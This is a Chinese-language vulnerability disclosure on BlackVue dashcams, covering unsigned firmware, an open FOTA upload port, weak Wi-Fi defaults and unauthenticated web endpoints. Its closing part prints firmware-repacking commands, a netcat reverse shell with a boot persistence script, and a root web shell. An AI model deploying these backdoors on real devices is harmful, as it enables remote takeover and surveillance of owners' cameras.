以下内容仅供教育目的,请勿在您不拥有或未经许可的设备上尝试。
截至撰写本文时,约有300台存在漏洞的BlackVue设备在线,可被轻易发现和利用,且尚未发布官方补丁。
BlackVue于2022年7月30日被告知这些漏洞,并回应称将调查这些问题。然而,据我们所知,至今未采取任何行动。
固件没有真实性检查,允许恶意攻击者上传自定义固件。此自定义固件可包含后门或漏洞利用程序。
复现步骤:
.zip包patch_<dashcam_name>.bintar.gzpatch_<dashcam_name>.bin的sue校验和(查看sue_checksum)# 从https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/下载
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# 在 patch-out 中进行修改
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
然后将BlackVue文件夹放在行车记录仪的SD卡上,它就会开始运行。
若要通过FOTA(空中固件升级)创建固件,则创建System目录的.tgz文件。
$ tar -C BlackVue/System -czvf fwupgrade.tgz
该文件稍后可用于通过FOTA上传自定义固件,从而完全攻陷行车记录仪。
需要特别注意的是,测试中发现,即使将BlackVue官网的官方固件刷回设备,植入的后门依然存在。
BlackVue行车记录仪会监听9771/TCP端口,其上运行着FOTA(空中固件升级)服务。该服务支持ping、重启、获取设备时间、升级固件等操作。
该端点没有任何保护措施,只要与行车记录仪处于同一局域网即可访问,如果行车记录仪连接了LTE,甚至可以从互联网访问,这是一个重大的安全风险。用于与FOTA服务通信的Python脚本可在此处找到。
基于上一节的步骤创建新固件,并使用Python脚本上传。
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
此工具不保证一定能工作,但曾成功执行过一次。
行车记录仪未启用任何防火墙,如果仅通过Wi-Fi连接,问题还不算严重。然而,LTE版本直接连接到互联网,因为某些移动运营商没有设置防火墙,也不会将用户置于NAT之后。通过查看提取的固件可以证实这一点。
至少,带有LTE的BlackVue行车记录仪应阻止来自LTE侧的连接。
行车记录仪的默认Wi-Fi密码仅由小写字母和数字组成,长度为8位。可以拦截行车记录仪的一次握手,并使用Aircrack-ng工具计算密码(如果用户未更改)。使用租用的硬件(约40欧元)大约4天即可完成。
默认情况下,Web服务器无需认证即可访问,并暴露了各种端点。
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
这些端点允许以下操作:
行车记录仪将连接网络的Wi-Fi SSID和密码存储在SD卡上。这些数据已加密,但通过逆向工程应用程序可轻易获得密钥。如wifi-decrypt.py所示。
另外值得注意的是,当更改行车记录仪应连接的Wi-Fi网络时,这些值会被发送到BlackVue的服务器,并会一直存储直到能够将信息发送给行车记录仪为止。这些数据在行车记录仪可用后是否被删除尚不清楚。
所有这些攻击可以组合成简单的远程代码执行,尤其是对于LTE行车记录仪。
以下是一些后门示例,可包含在自定义固件中。
以下后门会连接到远程机器,并赋予root权限的完整shell。
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
以下init.d脚本会在每次启动时启动后门,并连接到指定的IP/端口。
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgi以下后门允许在向Web服务器发送payload时执行命令(以root权限)。
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # 设置我们要使用的数据类型
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING